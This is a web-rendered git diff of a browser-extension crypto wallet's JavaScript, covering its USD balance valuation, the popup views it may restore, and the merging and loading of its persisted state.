// silently omits it would read as complete. That is exactly what
|
||||
// `partial` is for (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
if (token.balance == null) {
|
||||
partial = true;
|
||||
continue;
|
||||
}
|
||||
const tokenBal = parseFloat(token.balance);
|
||||
// A balance of zero is not a holding: it can neither add to the total
|
||||
// nor make it incomplete. Anything that is not a number at all is not
|
||||
// a holding this can price either, and is left to the same rule.
|
||||
if (!(tokenBal > 0)) continue;
|
||||
if (prices[token.symbol]) {
|
||||
usd += tokenBal * prices[token.symbol];
|
||||
} else {
|
||||
partial = true;
|
||||
const tokenBal = parseFloat(token.balance || "0");
|
||||
if (tokenBal > 0 && prices[token.symbol]) {
|
||||
total += tokenBal * prices[token.symbol];
|
||||
}
|
||||
}
|
||||
return { usd, partial };
|
||||
return total;
|
||||
}
|
||||
|
||||
// The same pair for a whole wallet, and for every wallet at once. One
|
||||
// unpriced holding anywhere makes the sum a floor, so partial carries up.
|
||||
function getWalletValue(wallet) {
|
||||
return sumValues(wallet.addresses.map(getAddressValue));
|
||||
function getWalletValueUsd(wallet) {
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
for (const addr of wallet.addresses) {
|
||||
total += getAddressValueUsd(addr);
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
function getTotalValue(wallets) {
|
||||
return sumValues(wallets.map(getWalletValue));
|
||||
function getTotalValueUsd(wallets) {
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
for (const wallet of wallets) {
|
||||
total += getWalletValueUsd(wallet);
|
||||
}
|
||||
|
||||
function sumValues(values) {
|
||||
let usd = null;
|
||||
let partial = false;
|
||||
for (const value of values) {
|
||||
if (value.usd === null) continue;
|
||||
usd = (usd === null ? 0 : usd) + value.usd;
|
||||
partial = partial || value.partial;
|
||||
}
|
||||
return { usd, partial };
|
||||
}
|
||||
|
||||
// The one rendering of an address total, so no screen says it differently.
|
||||
//
|
||||
// A partial total is shown and named as partial: the figure is the ETH and
|
||||
// priced tokens the user does hold, which is worth having, and suppressing it
|
||||
// would throw away a number that is correct as far as it goes. What is never
|
||||
// shown is a figure covering no holdings at all — the $0.00 sum of an empty
|
||||
// set beside a list of tokens is the bug this replaces.
|
||||
function formatAddressTotal(value) {
|
||||
if (!value || value.usd === null) return "";
|
||||
if (!value.partial) return "Total: " + formatUsd(value.usd);
|
||||
if (value.usd > 0) {
|
||||
return "Total: " + formatUsd(value.usd) + " plus unpriced tokens";
|
||||
}
|
||||
return "Total: unpriced tokens only";
|
||||
return total;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
prices,
|
||||
refreshPrices,
|
||||
clearPrices,
|
||||
getPrice,
|
||||
formatUsd,
|
||||
formatAddressTotal,
|
||||
getAddressValue,
|
||||
getWalletValue,
|
||||
getTotalValue,
|
||||
getAddressValueUsd,
|
||||
getWalletValueUsd,
|
||||
getTotalValueUsd,
|
||||
};
|
||||
|
||||
@@ -1,41 +0,0 @@
|
||||
// Views the popup may reopen onto.
|
||||
//
|
||||
// The popup persists the current view so that reopening the toolbar popup
|
||||
// lands the user back where they were. Only views that can be fully
|
||||
// re-rendered from persisted state belong here; every other view falls back
|
||||
// to the nearest restorable parent (src/popup/index.js restoreView()).
|
||||
//
|
||||
// A view that displays a secret must NEVER be listed. Restoring onto one
|
||||
// would put a private key or a recovery phrase on screen with no password
|
||||
// prompt in front of it, on a popup the user may have reopened by accident.
|
||||
// That is why "export-privkey" and "show-phrase" are absent.
|
||||
//
|
||||
// Nor may a view whose button destroys a wallet be listed, for the mirror
|
||||
// reason: a popup reopened by accident must not land on the screen that
|
||||
// erases key material. That is why "delete-wallet-confirm" and
|
||||
// "delete-wallet-lost-password" are absent.
|
||||
//
|
||||
// Kept in its own module, with no dependencies, so tests can assert the
|
||||
// exclusion directly rather than trusting a reading of the popup entry
|
||||
// point.
|
||||
//
|
||||
// It sits under src/shared/ rather than src/popup/ because
|
||||
// src/shared/persistedState.js needs it and that module is in the BACKGROUND
|
||||
// bundle: a popup-path module reached from the worker is the shape
|
||||
// script/lib/forbiddenBundleInputs.js exists to keep out, whether or not the
|
||||
// particular module is harmless.
|
||||
const RESTORABLE_VIEWS = new Set([
|
||||
"main",
|
||||
"address",
|
||||
"address-token",
|
||||
"receive",
|
||||
"settings",
|
||||
"settings-addtoken",
|
||||
"confirm-tx",
|
||||
"transaction",
|
||||
"wait-tx",
|
||||
"success-tx",
|
||||
"error-tx",
|
||||
]);
|
||||
|
||||
module.exports = { RESTORABLE_VIEWS };
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,569 +1,125 @@
|
||||
// State management and extension storage persistence.
|
||||
//
|
||||
// The `state` export is a module-level singleton: ONE in-memory copy of the
|
||||
// profile per bundle, loaded once by loadState() and mutated in place from
|
||||
// then on. That is the popup's model — one page, one load at boot, one
|
||||
// lifetime.
|
||||
//
|
||||
// It is NOT the background's model, and the background must not reach it. The
|
||||
// MV3 service worker is torn down when idle and revived by the next message,
|
||||
// nothing loads state at module scope, and an unpopulated read used to hand
|
||||
// back DEFAULT_STATE with no complaint — five defects came out of that one
|
||||
// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
|
||||
// this module is unreachable from the background bundle, and reading a
|
||||
// persisted field of the singleton before a load now THROWS instead of quietly
|
||||
// serving a default.
|
||||
//
|
||||
// The unreachability is enforced by the BUILD. build.js fails when esbuild's
|
||||
// own metafile reports this module as an input of a background bundle — the
|
||||
// resolution the shipped file was built from, so no specifier syntax gets past
|
||||
// it — from the table in script/lib/forbiddenBundleInputs.js, which also
|
||||
// records what that does and does not cover. The ESLint rule that reports the
|
||||
// same thing in the editor is fast feedback in front of the build, not the
|
||||
// guarantee.
|
||||
|
||||
const { networkById } = require("./networks");
|
||||
const {
|
||||
DEFAULT_STATE,
|
||||
PERSISTED_FIELDS,
|
||||
normalizePersisted,
|
||||
} = require("./persistedState");
|
||||
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
||||
|
||||
const {
|
||||
STATE_SCHEMA_VERSION,
|
||||
assertStateUsable,
|
||||
migrationNeeded,
|
||||
} = require("./stateSchema");
|
||||
const storageApi =
|
||||
typeof browser !== "undefined"
|
||||
? browser.storage.local
|
||||
: chrome.storage.local;
|
||||
|
||||
const { storageGet, storageSet } = require("./browserApi");
|
||||
const { log } = require("./log");
|
||||
const DEFAULT_STATE = {
|
||||
hasWallet: false,
|
||||
wallets: [],
|
||||
trackedTokens: [],
|
||||
rpcUrl: DEFAULT_RPC_URL,
|
||||
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
||||
lastBalanceRefresh: 0,
|
||||
activeAddress: null,
|
||||
allowedSites: {},
|
||||
deniedSites: {},
|
||||
rememberSiteChoice: true,
|
||||
showZeroBalanceTokens: true,
|
||||
hideLowHolderTokens: true,
|
||||
hideFraudContracts: true,
|
||||
hideDustTransactions: true,
|
||||
dustThresholdGwei: 100000,
|
||||
fraudContracts: [],
|
||||
tokenHolderCache: {},
|
||||
};
|
||||
|
||||
// The live record the proxy below guards. Everything inside this module reads
|
||||
// and writes THIS object, never the proxy: the guard is for callers.
|
||||
const rawState = {
|
||||
const state = {
|
||||
...DEFAULT_STATE,
|
||||
// Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
|
||||
// mutates this map in place, and a spread copies the reference.
|
||||
networkEndpoints: {},
|
||||
currentView: null,
|
||||
selectedWallet: null,
|
||||
selectedAddress: null,
|
||||
selectedToken: null,
|
||||
viewData: {},
|
||||
viewStack: [],
|
||||
};
|
||||
|
||||
// False until loadState() has completed in this bundle. Until then, a
|
||||
// persisted field that has not been assigned in this context cannot be READ:
|
||||
// see StateNotLoadedError.
|
||||
let loaded = false;
|
||||
|
||||
// True once this context has assigned anything into the singleton.
|
||||
//
|
||||
// What the guard is for is a context that READS a profile nobody put there —
|
||||
// every one of the five defects was a pure read of an untouched singleton,
|
||||
// answered out of DEFAULT_STATE. A context that has written into it is
|
||||
// managing it deliberately (the popup does, via loadState() at boot and by
|
||||
// hand thereafter), and reading back what you yourself put there is not the
|
||||
// mistake being caught.
|
||||
//
|
||||
// The cost of that is honest and worth naming: a context that writes one field
|
||||
// and then reads a different, untouched one is still served that field's
|
||||
// default. Nothing closes that here — what closes it for the background is
|
||||
// that the background cannot reach this module at all, which build.js asserts
|
||||
// against esbuild's metafile on every build (FORBIDDEN_INPUTS in
|
||||
// script/lib/forbiddenBundleInputs.js, pinned by
|
||||
// tests/buildForbiddenInputs.test.js).
|
||||
let adopted = false;
|
||||
|
||||
// Every field whose pre-load value would be a plausible-looking default rather
|
||||
// than the user's data. The view scratch fields are guarded too: currentView
|
||||
// and viewStack are persisted, and a save that carried their pre-load values
|
||||
// would overwrite a real stored stack with an empty one.
|
||||
const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
|
||||
|
||||
class StateNotLoadedError extends Error {
|
||||
constructor(field) {
|
||||
super(
|
||||
"state." +
|
||||
field +
|
||||
" was read before loadState(); this context has no profile" +
|
||||
" loaded and must not be served DEFAULT_STATE",
|
||||
);
|
||||
this.name = "StateNotLoadedError";
|
||||
}
|
||||
async function saveState() {
|
||||
const persisted = {
|
||||
hasWallet: state.hasWallet,
|
||||
wallets: state.wallets,
|
||||
trackedTokens: state.trackedTokens,
|
||||
rpcUrl: state.rpcUrl,
|
||||
blockscoutUrl: state.blockscoutUrl,
|
||||
lastBalanceRefresh: state.lastBalanceRefresh,
|
||||
activeAddress: state.activeAddress,
|
||||
allowedSites: state.allowedSites,
|
||||
deniedSites: state.deniedSites,
|
||||
rememberSiteChoice: state.rememberSiteChoice,
|
||||
showZeroBalanceTokens: state.showZeroBalanceTokens,
|
||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
||||
hideFraudContracts: state.hideFraudContracts,
|
||||
hideDustTransactions: state.hideDustTransactions,
|
||||
dustThresholdGwei: state.dustThresholdGwei,
|
||||
fraudContracts: state.fraudContracts,
|
||||
tokenHolderCache: state.tokenHolderCache,
|
||||
currentView: state.currentView,
|
||||
selectedWallet: state.selectedWallet,
|
||||
selectedAddress: state.selectedAddress,
|
||||
selectedToken: state.selectedToken,
|
||||
viewData: state.viewData,
|
||||
};
|
||||
await storageApi.set({ autistmask: persisted });
|
||||
}
|
||||
|
||||
// Loud, not defaulted. The whole defect class this guard closes looks exactly
|
||||
// like working code at the call site: the read succeeds, the value is
|
||||
// well-formed, and it describes a wallet that is not the user's.
|
||||
const state = new Proxy(rawState, {
|
||||
get(target, prop, receiver) {
|
||||
if (
|
||||
!loaded &&
|
||||
!adopted &&
|
||||
typeof prop === "string" &&
|
||||
GUARDED_FIELDS.has(prop)
|
||||
) {
|
||||
throw new StateNotLoadedError(prop);
|
||||
}
|
||||
return Reflect.get(target, prop, receiver);
|
||||
},
|
||||
set(target, prop, value, receiver) {
|
||||
if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
|
||||
adopted = true;
|
||||
}
|
||||
return Reflect.set(target, prop, value, receiver);
|
||||
},
|
||||
});
|
||||
|
||||
// Return the network configuration for the currently selected network.
|
||||
function currentNetwork() {
|
||||
return networkById(state.networkId);
|
||||
}
|
||||
|
||||
// The persisted fields as they stood at the end of this page's last
|
||||
// loadState() or saveState(). saveState() diffs the live state against this
|
||||
// to find only the fields THIS page actually changed.
|
||||
//
|
||||
// Deep-cloned, not a reference: callers mutate persisted objects and arrays
|
||||
// in place (state.wallets.push(...)), and a reference baseline would mutate
|
||||
// right along with `state`, so the diff would always come out empty.
|
||||
let baseline = null;
|
||||
|
||||
function snapshotPersisted() {
|
||||
const out = {};
|
||||
for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
|
||||
return out;
|
||||
}
|
||||
|
||||
function deepEqual(a, b) {
|
||||
if (a === b) return true;
|
||||
if (typeof a !== "object" || typeof b !== "object") return false;
|
||||
if (a === null || b === null) return false;
|
||||
if (Array.isArray(a) !== Array.isArray(b)) return false;
|
||||
const aKeys = Object.keys(a);
|
||||
const bKeys = Object.keys(b);
|
||||
if (aKeys.length !== bKeys.length) return false;
|
||||
for (const key of aKeys) {
|
||||
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
|
||||
if (!deepEqual(a[key], b[key])) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Stable identity for a wallet, independent of its position in the array
|
||||
// (which shifts under a concurrent add/delete elsewhere) and independent of
|
||||
// its mutable fields (name is user-editable; addresses gains/loses entries
|
||||
// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
|
||||
// changes for its lifetime and is already enforced unique
|
||||
// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
|
||||
// one address for its whole lifetime (nothing ever adds to or removes from
|
||||
// a key wallet's address list), and that address is already enforced
|
||||
// unique (findWalletByAddress()) — so it stands in for identity there.
|
||||
// Neither invariant is enforced by this function or by
|
||||
// mergeListByIdentity() below — they hold only because every wallet-
|
||||
// creation path in addWallet.js happens to populate one or the other before
|
||||
// the wallet ever reaches state.wallets, and because canRemoveAddress() in
|
||||
// walletDelete.js never lets a wallet's address list go to zero. A wallet
|
||||
// with neither (an empty/legacy/corrupt record) falls back to the same
|
||||
// "addr:" identity as every other such record, which is a genuine
|
||||
// collision, not a proxy for one — see the collision handling in
|
||||
// mergeListByIdentity().
|
||||
function walletIdentity(wallet) {
|
||||
if (wallet.xpub) return "xpub:" + wallet.xpub;
|
||||
const first = wallet.addresses && wallet.addresses[0];
|
||||
return "addr:" + (first ? String(first.address).toLowerCase() : "");
|
||||
}
|
||||
|
||||
// Stable identity for an address within one wallet's address list. An
|
||||
// address is unique within its wallet and, once derived or imported, never
|
||||
// changes — only whether it is present.
|
||||
function addressIdentity(addr) {
|
||||
return String(addr.address).toLowerCase();
|
||||
}
|
||||
|
||||
// Merge one array of identity-bearing objects (wallets, or the addresses
|
||||
// inside one wallet) by identity rather than by array index — an index
|
||||
// shifts under a concurrent insert/delete elsewhere, which would merge the
|
||||
// wrong pair of objects entirely.
|
||||
//
|
||||
// `theirs` (fresh storage) sets the membership baseline and the order:
|
||||
// - An item this page never had baseline knowledge of, but that is in
|
||||
// `theirs`, was added by someone else — kept as-is.
|
||||
// - An item `base` had and `ours` no longer has was deleted by THIS page
|
||||
// — dropped even though `theirs` still has it (this page's own delete
|
||||
// must win over a background save that only touched leaf fields).
|
||||
// - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
|
||||
// `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
|
||||
// on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
|
||||
// Anything left in `ours` that `base` never had and `theirs` does not have
|
||||
// yet is this page's own new addition — appended.
|
||||
//
|
||||
// `identityOf` is not guaranteed collision-free (walletIdentity() falls
|
||||
// back to one shared "addr:" value for any wallet with neither an xpub nor
|
||||
// a populated first address). Two records that collide under it must never
|
||||
// silently collapse into one — that is exactly how this function used to
|
||||
// drop a wallet, encryptedSecret included, with no error and no log. Two
|
||||
// defenses:
|
||||
// - `ours` is indexed into GROUPS, not a single item per identity, so two
|
||||
// colliding live items on this page can't overwrite each other in the
|
||||
// index before the merge below even runs.
|
||||
// - A matched pair with no shared `base` entry (neither page ever agreed
|
||||
// on this identity) is only merged leaf-by-leaf when the two sides are
|
||||
// already equal. If they differ, that is not "the same record edited
|
||||
// twice", it is two different records that happen to share an identity
|
||||
// — both are kept, unmerged, rather than guessing which one is real.
|
||||
function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
|
||||
base = base || [];
|
||||
ours = ours || [];
|
||||
theirs = theirs || [];
|
||||
const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
|
||||
const oursIndex = new Map();
|
||||
for (const item of ours) {
|
||||
const id = identityOf(item);
|
||||
if (!oursIndex.has(id)) oursIndex.set(id, []);
|
||||
oursIndex.get(id).push(item);
|
||||
}
|
||||
|
||||
const result = [];
|
||||
const seen = new Set();
|
||||
|
||||
for (const theirItem of theirs) {
|
||||
const id = identityOf(theirItem);
|
||||
seen.add(id);
|
||||
const oursGroup = oursIndex.get(id);
|
||||
if (baseIndex.has(id) && !oursGroup) continue;
|
||||
if (oursGroup) {
|
||||
const baseItem = baseIndex.get(id);
|
||||
if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
|
||||
log.errorf(
|
||||
"state: identity collision merging",
|
||||
JSON.stringify(id),
|
||||
"- keeping both records instead of dropping one",
|
||||
);
|
||||
result.push(theirItem, ...oursGroup);
|
||||
} else {
|
||||
result.push(mergeItem(baseItem, oursGroup[0], theirItem));
|
||||
for (let i = 1; i < oursGroup.length; i++) {
|
||||
result.push(oursGroup[i]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
result.push(theirItem);
|
||||
}
|
||||
}
|
||||
|
||||
for (const item of ours) {
|
||||
const id = identityOf(item);
|
||||
if (seen.has(id)) continue;
|
||||
if (!baseIndex.has(id)) result.push(item);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
|
||||
// ...) against base, then recurse into its address list by identity. `base`
|
||||
// is null when this page created the wallet itself and no other page has
|
||||
// (yet) produced a same-identity record — nothing to merge in that case,
|
||||
// this page's own copy wins outright. mergeListByIdentity() only ever calls
|
||||
// this with `!base` when `ours` and `theirs` are already equal (a genuine
|
||||
// collision between two DIFFERENT same-identity records is caught and kept
|
||||
// as two separate entries before this function is reached), so returning
|
||||
// `ours` here can't discard a different wallet's data.
|
||||
function mergeWallet(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (key === "addresses") continue;
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
merged.addresses = mergeListByIdentity(
|
||||
base.addresses,
|
||||
ours.addresses,
|
||||
theirs.addresses,
|
||||
addressIdentity,
|
||||
mergeAddress,
|
||||
);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
|
||||
// tokenBalances is itself an array, but only a balance refresh ever writes
|
||||
// it and always wholesale (refreshBalances() in src/shared/balances.js), so
|
||||
// there is no membership to reconcile within it — it is a leaf like balance
|
||||
// or ensName, not a list with its own identity.
|
||||
function mergeAddress(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
|
||||
// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
|
||||
// same way mergeListByIdentity() merges an array — by key, not by whole-
|
||||
// object diff — so a key one page added or removed applies independently of
|
||||
// a key another page edited. Unlike an array's identity function, an object
|
||||
// key can't collide with a different logical entry (Object.keys() is
|
||||
// already deduplicated), so this needs no collision floor of its own.
|
||||
function mergeMapByKey(base, ours, theirs, mergeLeaf) {
|
||||
base = base || {};
|
||||
ours = ours || {};
|
||||
theirs = theirs || {};
|
||||
const result = {};
|
||||
const seen = new Set();
|
||||
|
||||
for (const key of Object.keys(theirs)) {
|
||||
seen.add(key);
|
||||
const inBase = Object.prototype.hasOwnProperty.call(base, key);
|
||||
const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
|
||||
if (inBase && !inOurs) continue; // this page deleted the whole entry
|
||||
if (inOurs) {
|
||||
result[key] = mergeLeaf(base[key], ours[key], theirs[key]);
|
||||
} else {
|
||||
result[key] = theirs[key];
|
||||
}
|
||||
}
|
||||
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (seen.has(key)) continue;
|
||||
if (!Object.prototype.hasOwnProperty.call(base, key)) {
|
||||
result[key] = ours[key];
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
|
||||
// list is itself membership, not a leaf — the background appends a newly
|
||||
// approved/denied hostname to it, and the Settings "revoke" button
|
||||
// (src/popup/views/settings.js) filters a hostname out of it in place, from a
|
||||
// different page. Merge it the same way wallets are merged: identity is the
|
||||
// hostname itself, so a merged pair is always equal and mergeItem is a no-op
|
||||
// pick.
|
||||
function mergeHostnameList(base, ours, theirs) {
|
||||
return mergeListByIdentity(
|
||||
base,
|
||||
ours,
|
||||
theirs,
|
||||
(hostname) => hostname,
|
||||
(b, o, t) => t,
|
||||
);
|
||||
}
|
||||
|
||||
function mergeSiteMap(base, ours, theirs) {
|
||||
return mergeMapByKey(base, ours, theirs, mergeHostnameList);
|
||||
}
|
||||
|
||||
// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
|
||||
// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
|
||||
// networkEndpoints[networkId] in place before saving. No code path ever
|
||||
// removes a key from this map, so the membership collision that matters for
|
||||
// allowedSites/wallets (an add on one page racing a delete on another) can't
|
||||
// happen here — but two pages switching to two different networks
|
||||
// concurrently still race a whole-field diff the same way, so it gets the same
|
||||
// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
|
||||
// for the active network).
|
||||
function mergeEndpointEntry(base, ours, theirs) {
|
||||
if (!base) return ours;
|
||||
const merged = { ...theirs };
|
||||
for (const key of Object.keys(ours)) {
|
||||
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||
}
|
||||
return merged;
|
||||
}
|
||||
|
||||
function mergeNetworkEndpoints(base, ours, theirs) {
|
||||
return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
|
||||
}
|
||||
|
||||
// Read-modify-write, merged per field, rather than one full-blob write.
|
||||
//
|
||||
// Every extension page (the toolbar popup, a dApp approval window) holds its
|
||||
// own in-memory `state`, loaded once, and showView() saves on every
|
||||
// navigation. A full-blob write here clobbers whatever a second page had
|
||||
// written since — including, in the worst case, an entire wallet and its
|
||||
// encrypted secret with no attacker and no unusual input (see the issue this
|
||||
// fixes).
|
||||
//
|
||||
// Only the fields this page actually changed — those that differ from
|
||||
// `baseline`, captured at the last loadState()/saveState() on this page —
|
||||
// are written; every other field is carried forward from whatever is in
|
||||
// storage right now, which may already be a value another page wrote.
|
||||
//
|
||||
// `wallets` is merged structurally (mergeListByIdentity(), by wallet
|
||||
// identity and then by address identity within each wallet), not as one
|
||||
// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
|
||||
// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
|
||||
// would mark all of `wallets` "changed" the moment any balance moved and
|
||||
// write back that page's own copy — loaded before its multi-second network
|
||||
// round trip — clobbering a wallet another page added, or resurrecting one
|
||||
// another page deleted, in that window. Merging by identity lets the leaf
|
||||
// changes and another page's membership changes (add/delete a wallet or an
|
||||
// address) apply independently instead of colliding as the same field.
|
||||
//
|
||||
// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
|
||||
// by address key and then by hostname within each address's list), for the
|
||||
// identical reason: the background appends a newly approved/denied hostname
|
||||
// to them, and the Settings "revoke" button (src/popup/views/settings.js)
|
||||
// filters one out in place, from a different page. A whole-field diff here
|
||||
// doesn't just lose data, it is a security defect — a stale page's save can
|
||||
// resurrect a just-revoked site permission, or silently wipe a permission just
|
||||
// granted elsewhere.
|
||||
//
|
||||
// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
|
||||
// by network id), since applyChainSwitchFields() writes into it in place; the
|
||||
// value per key is a small leaf object with no membership of its own; see the
|
||||
// comment at mergeEndpointEntry() for why the collision this closes is
|
||||
// milder than the other two.
|
||||
//
|
||||
// Every other persisted field stays a whole-field diff:
|
||||
// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
|
||||
// per-element identity to merge by; `tokenHolderCache` is a map shaped like
|
||||
// the ones above, but nothing in src/ ever writes an entry into it — it is
|
||||
// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
|
||||
// no in-place mutation for a whole-field diff to collide with; `viewData` is
|
||||
// this page's own UI scratch space, not data another page has any reason to
|
||||
// share membership of.
|
||||
//
|
||||
// This does not make two pages that both change the SAME leaf concurrently
|
||||
// safe: last write wins on that one leaf, same as before. What it removes
|
||||
// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
|
||||
// that only navigated, or only refreshed a balance, overwriting a wallet or
|
||||
// address list it never touched the membership of.
|
||||
//
|
||||
// This page's own live `state` is deliberately NOT rehydrated from a field
|
||||
// another page changed — only the record written to storage is merged.
|
||||
// showView() fires saveState() on every navigation without awaiting it,
|
||||
// which is what makes the queue above necessary in the first place, and a
|
||||
// save that is slow to come back has no way to tell whether the field it
|
||||
// is about to hand back is still the current answer or has since been
|
||||
// overtaken by something this very page did in the meantime; writing it
|
||||
// into `state` regardless reintroduced exactly the clobber this function
|
||||
// exists to remove, just delayed and confined to one page instead of two
|
||||
// (caught by tests/txStatus.test.js). A page's live picture of a field it
|
||||
// does not own goes on being whatever its last loadState() saw, same as
|
||||
// before this fix; only the persisted record is guaranteed current.
|
||||
async function saveStateOnce() {
|
||||
const current = snapshotPersisted();
|
||||
const result = await storageGet("autistmask");
|
||||
// The record in storage right now is about to be merged into and written
|
||||
// back, so it is validated exactly like a load validates it. Without this,
|
||||
// a page whose own load succeeded would normalize a record it does not
|
||||
// understand — one a NEWER build wrote in the meantime, say — and write
|
||||
// the result back over it, destroying the only copy of whatever that
|
||||
// record held. Refusing is louder than that and loses nothing: the live
|
||||
// state is untouched and the next save retries.
|
||||
assertStateUsable(result.autistmask);
|
||||
// Normalized, not raw: a field this page did not change still has to
|
||||
// come from storage in its loaded (self-healed) shape. See
|
||||
// normalizePersisted() in persistedState.js.
|
||||
const fresh = normalizePersisted(result.autistmask);
|
||||
|
||||
const merged = { ...fresh };
|
||||
for (const key of PERSISTED_FIELDS) {
|
||||
if (key === "wallets") {
|
||||
merged.wallets = mergeListByIdentity(
|
||||
baseline ? baseline.wallets : [],
|
||||
current.wallets,
|
||||
fresh.wallets,
|
||||
walletIdentity,
|
||||
mergeWallet,
|
||||
);
|
||||
} else if (key === "allowedSites" || key === "deniedSites") {
|
||||
merged[key] = mergeSiteMap(
|
||||
baseline ? baseline[key] : {},
|
||||
current[key],
|
||||
fresh[key],
|
||||
);
|
||||
} else if (key === "networkEndpoints") {
|
||||
merged.networkEndpoints = mergeNetworkEndpoints(
|
||||
baseline ? baseline.networkEndpoints : {},
|
||||
current.networkEndpoints,
|
||||
fresh.networkEndpoints,
|
||||
);
|
||||
} else if (
|
||||
baseline === null ||
|
||||
!deepEqual(current[key], baseline[key])
|
||||
) {
|
||||
merged[key] = current[key];
|
||||
}
|
||||
}
|
||||
merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
|
||||
// Stamped on every write, never merged or diffed: the record that goes to
|
||||
// storage is in THIS build's shape whatever shape it was read in, which is
|
||||
// what migrates the unversioned records every install in the field holds.
|
||||
merged.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
|
||||
await storageSet({ autistmask: merged });
|
||||
|
||||
// Derived from this page's own wallets, never adopted off the wire —
|
||||
// see loadState(). Everything else this page did not change is left
|
||||
// exactly as it stood; see the note above.
|
||||
rawState.hasWallet = rawState.wallets.length > 0;
|
||||
|
||||
baseline = structuredClone(snapshotPersisted());
|
||||
}
|
||||
|
||||
// showView() calls saveState() on every navigation without awaiting it, so
|
||||
// two saves from the SAME page can be in flight at once — e.g. a screen
|
||||
// shown, then immediately replaced before the first save's storageGet()
|
||||
// round trip has come back. Left concurrent, the first save's turn would
|
||||
// finish after the second's live-state mutation and then re-hydrate `state`
|
||||
// from what IT read, stomping the second, later change back to a stale
|
||||
// value — the same clobber this function exists to prevent, just between
|
||||
// two saves on one page instead of two pages. Queuing makes every save's
|
||||
// snapshot-diff-write-rehydrate run start to finish before the next one
|
||||
// begins, so each one only ever sees the true live state at its turn.
|
||||
let saveQueue = Promise.resolve();
|
||||
|
||||
function saveState() {
|
||||
const turn = saveQueue.then(saveStateOnce);
|
||||
// The queue must advance even when a save rejects, or every save after
|
||||
// it queues behind a promise that never settles.
|
||||
saveQueue = turn.catch(() => {});
|
||||
return turn;
|
||||
}
|
||||
|
||||
// Rejects with StateUnusableError for a stored record this build cannot make
|
||||
// sense of. Nothing is assigned and `loaded` stays false in that case, so a
|
||||
// caller that ignores the rejection gets StateNotLoadedError on the first
|
||||
// read rather than a half-populated profile. The caller that does NOT ignore
|
||||
// it is the popup entry point, which shows the recovery screen
|
||||
// (src/popup/views/stateRecovery.js) instead of proceeding.
|
||||
async function loadState() {
|
||||
const result = await storageGet("autistmask");
|
||||
// Before normalization, on the raw bytes: normalizing first would paper
|
||||
// over the very shapes this refuses, which is how a corrupt record used to
|
||||
// reach the popup and blank it (issue #311).
|
||||
assertStateUsable(result.autistmask);
|
||||
if (migrationNeeded(result.autistmask)) {
|
||||
log.infof(
|
||||
"state: migrating an unversioned profile to schema version",
|
||||
STATE_SCHEMA_VERSION,
|
||||
);
|
||||
}
|
||||
const result = await storageApi.get("autistmask");
|
||||
if (result.autistmask) {
|
||||
Object.assign(rawState, normalizePersisted(result.autistmask));
|
||||
const saved = result.autistmask;
|
||||
state.hasWallet = saved.hasWallet;
|
||||
state.wallets = saved.wallets || [];
|
||||
state.trackedTokens = saved.trackedTokens || [];
|
||||
state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
|
||||
state.blockscoutUrl =
|
||||
saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
|
||||
state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
